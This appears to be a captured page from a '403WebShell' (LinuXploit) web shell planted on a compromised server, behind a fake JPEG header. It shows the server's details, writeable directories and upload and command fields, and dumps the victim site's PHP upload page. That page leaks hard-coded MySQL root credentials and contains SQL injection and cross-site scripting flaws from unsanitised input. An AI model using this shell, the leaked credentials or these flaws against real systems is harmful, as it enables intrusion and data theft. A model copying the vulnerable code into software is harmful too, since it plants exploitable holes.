????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.148.170.88
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/archive/upload_documents.php
<?php
session_start();

$projectId = $_GET['projectId'];
$CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4];

$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");

$sql = "select * from ICADARCHIVEPermissions where SystemUserId = ".$_SESSION['ASTACUS_SSO_INFO'][0];
	
$result = mysql_query($sql);
$be1 = false;
$be2 = false;
$be3 = false;
$be4 = false;
$be5 = false;
$be6 = false;
$be7 = false;
$be8 = false;
$be9 = false;
$be10 = false;
$be11 = false;
while ($row = mysql_fetch_assoc($result)){ 
	if($row['Permission'] == 1){
		$be1 = true;
	}else if($row['Permission'] == 2){
		$be2 = true;	
	}else if($row['Permission'] == 3){
		$be3 = true;	
	}else if($row['Permission'] == 4){
		$be4 = true;	
	}else if($row['Permission'] == 5){
		$be5 = true;	
	}else if($row['Permission'] == 6){
		$be6 = true;	
	}else if($row['Permission'] == 7){
		$be7 = true;	
	}else if($row['Permission'] == 8){
		$be8 = true;	
	}else if($row['Permission'] == 9){
		$be9 = true;	
	}else if($row['Permission'] == 10){
		$be10 = true;	
	}else if($row['Permission'] == 11){
		$be11 = true;	
	}
}
	
?>
<link rel="stylesheet" href="universal/style.css">
	<!-- Examples css file -->
	<link href="universal/styles.css" type="text/css" rel="stylesheet" />


<script type="text/javascript" src="universal/universaluploader.js"></script>

<link href="../main.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="calendar.js"></script>
 <script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
<script type="text/javascript">
function checkAll(field)
{
for (i = 0; i < field.length; i++){
	if(document.form2.checkbox3.checked == true){
		field[i].checked = true ;
	}else{
		field[i].checked = false;
		}
}

}
</script>
<body onLoad="showClockSWE();">
<style type="text/css"> 
.ToolText{position:relative; } 
.ToolTextHover{position:relative;} 
.ToolText span{display: none;} 

.ToolTextHover span{ 
 
  display:block; 
  position:absolute; 
  border:1px solid black; 
  top:0em; 
  left:50px; 
  background-color:gray; color:white; 
  text-align: center; 
  width:250px;
  text-decoration:none;
} 
</style>

<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="25">&nbsp;</td>
    <td width="964"><table width="820" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td colspan="5" valign="top"><span class="heading2"><?php echo($a1);?></span><br>
          <table width="936" border="0" cellpadding="0" cellspacing="0">
            <tr >
              <td width="76" class="text"><?php echo($a2);?></td>
              <td width="181" class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][1]);?> (<?php echo($_SESSION['ASTACUS_SSO_INFO'][10]);?>) </td>
              <td width="119" class="text"><?php echo($a5);?></td>
              <td width="189" class="text"><span class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][6]);?></span></td>
              <td width="3" rowspan="4" bgcolor="#999999"></td>
              <td width="366" rowspan="4" valign="top" class="textthin"><table width="228" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr class="text">
                  <td width="89"><?php echo($a8);?> </td>
                  <td width="71"><?php echo($a9);?> </td>
                </tr>
                <tr class="textthin">
                  <td width="89"><div id="showTextSWE"></div></td>
                  <td> <div id="showTextIND"></div></td>
                </tr>
              </table></td>
            </tr>
            <tr >
              <td class="text"><?php echo($a3);?></td>
              <td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][2]);?></td>
              <td class="text"><?php echo($a6);?></td>
              <td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][7]);?></td>
            </tr>
            <tr >
              <td class="text"><?php echo($a4);?></td>
              <td class="textthin"><a href="skype:<?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?>?call"><img src="http://mystatus.skype.com/smallicon/<?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?>" alt="My status" width="16" height="16" align="absmiddle" style="border: none;" /></a> <?php echo($_SESSION['ASTACUS_SSO_INFO'][11]);?></td>
              <td class="text"><?php echo($a7);?></td>
              <td class="textthin"><?php echo($_SESSION['ASTACUS_SSO_INFO'][8]);?> <?php echo($_SESSION['ASTACUS_SSO_INFO'][9]);?></td>
            </tr>
            <tr class="text">
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              <td>&nbsp;</td>
              </tr>
          </table>          
          <hr size="1">
          <table width="950" height="64" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <td valign="top" background="images/tabb2.jpg"><table width="850" height="23" border="0" cellpadding="0" cellspacing="0">
                <tr>
                  <td width="5" height="23">&nbsp;</td>
                  <td width="111" valign="bottom" class="blacklink"><div align="center"><a href="?" class="blacklink">Ritningar</a></div></td>
                  <td width="22" valign="bottom" class="blacklink"><div align="center"></div></td>
                  <td width="106" valign="bottom" class="<?php if($be6 == true){echo("blacklink");}else{echo("graylink");}?>"><div align="center"><a href="<?php if($be6 == true){echo("?page=rattigheter");}else{echo("#");}?>" class="<?php if($be6 == true){echo("blacklink");}else{echo("graylink");}?>"></a><a href="<?php if($be10 == true){echo("?page=dokument");}else{echo("#");}?>" class="blacklink">Dokument</a></div></td>
                  <td width="18" valign="bottom" class="blacklink"><div align="center"></div></td>
                  <td width="107" valign="bottom" class="<?php if($be7 == true){echo("blacklink");}else{echo("graylink");}?>"><div align="center"><a href="<?php if($be7 == true){echo("?page=behorigheter");}else{echo("#");}?>" class="<?php if($be7 == true){echo("blacklink");}else{echo("graylink");}?>"></a><a href="<?php if($be6 == true){echo("?page=rattigheter");}else{echo("#");}?>" class="blacklink">R&auml;ttigheter</a></div></td>
                  <td width="22" class="blacklink">&nbsp;</td>
                  <td width="103" valign="bottom" class="<?php if($be8 == true){echo("blacklink");}else{echo("graylink");}?>"><div align="center"><a href="<?php if($be8 == true){echo("?page=installningar");}else{echo("#");}?>" class="<?php if($be8 == true){echo("blacklink");}else{echo("graylink");}?>"></a><a href="<?php if($be7 == true){echo("?page=behorigheter");}else{echo("#");}?>" class="blacklink">Beh&ouml;righeter</a></div></td>
                  <td width="21" class="blacklink">&nbsp;</td>
                  <td width="104" valign="bottom" class="blacklink"><div align="center"><a href="<?php if($be8 == true){echo("?page=installningar");}else{echo("#");}?>" class="blacklink">Inst&auml;llningar</a></div></td>
                  <td width="138" class="blacklink">&nbsp;</td>
                  <td width="23" class="blacklink">&nbsp;</td>
                  <td width="70" class="blacklink">&nbsp;</td>
                </tr>
              </table></td>
            </tr>
          </table>
          <table width="941" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="11" height="276" valign="top" class="heading2"></td>
              <td valign="top" class="heading2"><p>Ladda upp filer och mappar till: <?php echo($_GET['path']);?></span></p>
                <p><br />
                  <!-- PlaceHolder for UniversalUploader User Interface. Existing content will not be removed. 
  UniversalUpload will append own content to the end of this div-->
                </p>
                <div id="universalUploader_holder" >
                  <noscript>
                    <br/>
                    <form id="myform" name="myform" action="url to file processing script"  method="post" enctype="multipart/form-data">
                      <input name="Filedata" type="file" />
                      <br />
                      <input type="submit" value="Upload" />
                    </form>
                    </noscript>
                </div>
                <!-- Initialization of UniversalUploader object -->
                <script type="text/javascript">
universalUploader.init({
	//Your serialNumber
	serialNumber: "0081141102825226316027322442225716924771310192",
	//List of uploaders to render	
	uploaders: "drag-and-drop, flash, silverlight, java, classic",	
	//First of correctly initialized uploader will be rendered
	singleUploader : false,
	fileFilter_ignoreFolders : true,
	//Id of html element where universalUploader should be rendered
	//If not set, document body used  
	holder: "universalUploader_holder",	
    //Enable thumbnails view
	fileView: "thumbnails",
	thumbnailView_width: 120,
	thumbnailView_height: 120,
	  width:"100%",
  height:"400",
	//Url to the swf file
	flash_swfUrl : "universal/uploaders/ElementITMultiPowUpload.swf",	
	//Url to the xap file
	silverlight_xapUrl : "universal/uploaders/UltimateUploader.xap",
	//url to folder with jar files
	java_libPath : "universal/uploaders/java/",
	//Path to the folder with images (status icons, remove icon) By default images subfolder is used (relative to the html page base path)
	//In these examples we place icons inside universal/images subfolder. 
	imagesPath : "universal/images/",	
	//Url to the file processing script 

	url: "DirUploadDokument.php?customerId=<?php echo($CompanyId);?>&path=<?php echo($_GET['path'])?>"

});

//File upload complete
universalUploader.bindEventListener("UploadComplete", function (uploaderId, file){	
	//var responselable = document.getElementById("serverresponse");		
	//if(file.serverResponse) responselable.innerHTML += "<strong>" + file.serverResponse + "</strong>";		
 //addlogg.php?type=files&ProjectId=<?php echo($ProjectId);?>&path=<?php echo($_GET['path'])?>
   
	document.location = "?page=dokument&companyId=<?php echo($CompanyId);?>&path=<?php echo($_GET['path'])?>&uploaded=true";

});	

//File upload error handler
universalUploader.bindEventListener("FileUploadError", function (uploaderId, file, status, msg){
	var responselable = document.getElementById("serverresponse");		
	responselable.innerHTML += "File Upload error "+file.name+" status "+status+" message "+msg;
});


universalUploader.bindEventListener("Init", function (inited){
		if(!inited)			
			alert("UniversalUploader failed to init!");
});
                </script>
                <a href="?page=upload&amp;projectId=<?php echo($ProjectId);?>&amp;companyId=<?php echo($CompanyId);?>&amp;path=<?php echo($_GET['path'])?>&amp;uploaded=true">Go back to files </a>
                </p>
                <p></p></td>
              </tr>
        </table>
          

          <hr size="1"></td>
        </tr>
    </table>      
    </td>
    <td width="11">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="3">&nbsp;    </td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit